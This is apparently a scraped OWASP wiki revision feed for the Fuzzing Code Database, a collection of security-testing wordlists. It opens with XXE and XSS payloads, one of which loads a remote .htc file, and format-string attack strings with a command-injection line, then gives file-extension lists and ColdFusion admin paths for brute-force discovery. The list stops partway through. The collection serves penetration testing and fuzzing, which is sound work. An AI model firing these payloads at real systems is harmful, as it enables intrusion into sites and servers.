&quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80028 2010-03-17T03:43:34Z

<p>Adam.muntner: /* Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) = */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === (Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863) ===<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> <br /> <br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> == Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> 